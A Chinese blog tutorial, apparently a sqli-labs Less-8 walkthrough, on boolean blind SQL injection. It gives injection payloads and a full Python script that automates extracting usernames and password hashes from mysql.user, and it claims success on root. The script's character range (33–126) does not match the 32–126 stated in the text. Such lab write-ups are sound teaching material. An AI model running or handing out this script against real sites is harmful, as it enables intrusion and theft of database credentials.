利用Python脚本进行布尔盲注猜解数据库管理员密码

陆景行
陆景行
发布时间:2026-10-15 | 4人浏览过
原创

本文详细解析了针对无回显页面的布尔盲注攻击流程。通过分析单引号注入点,利用length和ascii函数结合Python requests库编写自动化脚本,逐步猜解mysql.user表中用户与密码拼接后的总长度及具体字符,最终成功获取数据库管理员密码。

一、功能分析

首先对目标网站的功能逻辑进行简要梳理,其核心机制大致如下:

系统要求用户在浏览器地址栏中提交特定参数,后端根据该参数中的id值查询并返回对应的用户信息。

当提交的id值在数据库中真实存在时,页面会正常显示查询成功的结果,例如访问 ?id=1 时可见预期输出。

若提交的id值在数据库中不存在,页面则呈现空白显示状态。需要注意的是,用户id不允许为0或负数,当输入 ?id=0 时,因查询结果为空,页面同样表现为空白。

若提交的参数引发数据库语法错误,页面也会呈现空白显示。例如输入 ?id=1’ 或 ?id=1" 时,若后台代码未对单引号等特殊字符进行过滤,携带引号的参数将导致数据库报错,进而使页面空白。

二、思路分析

由于页面没有提供具体的错误信息或数据回显位,这种场景不适合使用联合查询注入(Union Injection)。

同时,页面不返回任何数据库报错细节,因此也不适合采用报错注入(Error-based Injection)技术。

鉴于页面仅存在“显示正常”和“空白显示”两种状态,即只有正确和错误两种反馈,推荐使用布尔盲注(Boolean-based Blind SQL Injection)策略。

当前网站未对输入参数进行严格过滤,无需考虑绕过机制。虽然盲注的时间复杂度较高,手动测试效率低下,文末将提供配套的Python自动化脚本以解决此问题。

三、步骤实现

1)判断注入点

首先尝试输入参数 ?id=1’,观察到页面空白显示,这表明单引号被数据库引擎识别,导致SQL语法错误从而引发报错。

接着输入参数 ?id=1",页面正常显示查询成功结果。这说明双引号未被数据库特殊识别,数据库将 1" 解析为数值 1,实际执行了查询id为1的用户逻辑。

基于单引号可被识别而双引号不被识别的现象,初步判断该网站的注入点位于单引号处,属于字符型注入。后续将使用万能账号语句进一步验证这一判断。

输入构造参数 ?id=1’ and 1 – a,页面正常显示查询成功,说明逻辑判断为真。

输入构造参数 ?id=1’ and 0 – a,页面空白显示未查询到数据,说明逻辑判断为假。

通过人为构造参数能够引起页面状态的对应变化,由此确认网站存在SQL注入漏洞,且注入点确认为单引号字符型注入。

2)猜解长度

输入测试参数 ?id=1’ and length(“abc”)>1 – a,页面正常显示查询成功。

length(“abc”)函数用于计算字符串“abc”的长度,其结果明确为3。

由于 length(“abc”)>1 的逻辑结果为 true,此时提交的参数在逻辑上等价于 ?id=1’ and 1 – a。

输入测试参数 ?id=1’ and length(“abc”)<1 – a,页面空白显示。

因为 length(“abc”)<1 的逻辑结果为 false,此时提交的参数在逻辑上等价于 ?id=1’ and 0 – a。

由此推断,length长度函数未被后端过滤,可以正常调用。接下来开始尝试猜解数据库管理员密码及相关信息的总长度。

mysql.user表用于存储数据库的用户名、密码等核心信息,我们将直接查询该表以获取目标数据。

构造以下Payload进行测试:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=1 -- a

我们首先假设用户名和密码拼接后的总长度为1,预期结果为页面空白显示。随后将测试长度依次递增,从2开始逐步测试至n。当测试长度递增到42时,页面正常显示,由此判定用户名和密码的总长度为42。相关Payload如下:

?id=1' and length(
    (select group_concat(user,password)
    from mysql.user)
)=42 -- a

3)猜解数据

在确定数据总长度后,我们从字符串的第一个字符开始,逐个猜解出完整的数据内容。

ASCII码表涵盖了所有可能的字符(包括字母、数字及特殊符号),ASCII标准共包含127个字符。其中,可打印且可输入的字符范围仅为32至126。通过穷举这一范围内的每一种可能性,即可逐步猜解出完整数据。

完整的数据序列由此被还原。

我们首先假设第一个字符的ASCII码值为32,构造如下Payload:

?id=1' and ascii(substr(
    (select group_concat(user,password)
    from mysql.user)
,1,1))=32 -- a

若页面显示空白,说明假设错误。我们从ASCII码32开始递增测试至126,当页面正常显示(出现 “You are in……” 提示)时,表明当前字符猜解正确。

4)猜解脚本

手动执行盲注的时间成本过高,推荐使用Python编写自动化脚本进行猜解,具体脚本代码如下:

import requests

# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://a30842672c28473a956dc5ae3233d655.app.mituan.zone/Less-8"
# 猜解长度使用的payload
payload_len = """?id=1' and length((
                    select group_concat(user,password)
                    from mysql.user
                ))={n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(substr((
                    select group_concat(user,password)
                    from mysql.user
                ),{n},1))={r} -- a  """

# 获取长度
def getLength(url, payload):
    length = 1  # 初始测试长度为1
    while True:
        response = requests.get(url= url+payload_len.format(n= length))
        # 页面中出现此内容则表示成功
        if 'You are in...........' in response.text:
            print('测试长度完成,长度为:', length)
            return length;
        else:
            print('正在测试长度:',length)
            length += 1  # 测试长度递增

# 获取字符
def getStr(url, payload, length):
    str = ''  # 初始表名/库名为空
    for l in range(1, length+1):
        for n in range(33, 126):
            response = requests.get(url= url+payload_str.format(n= l, r= n))
            if 'You are in...........' in response.text:
                str+= chr(n)
                print('第', l, '个字符猜解成功:', str)
                break;
    return str;

# 开始猜解
getStr(url, payload_str, getLength(url, payload_len))

脚本运行后的猜解结果如下,成功获取了root用户的密码:

到此这篇关于Python猜解网站数据库管理员密码的脚本的文章就介绍到这了,更多相关Python猜解管理员密码内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站!

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表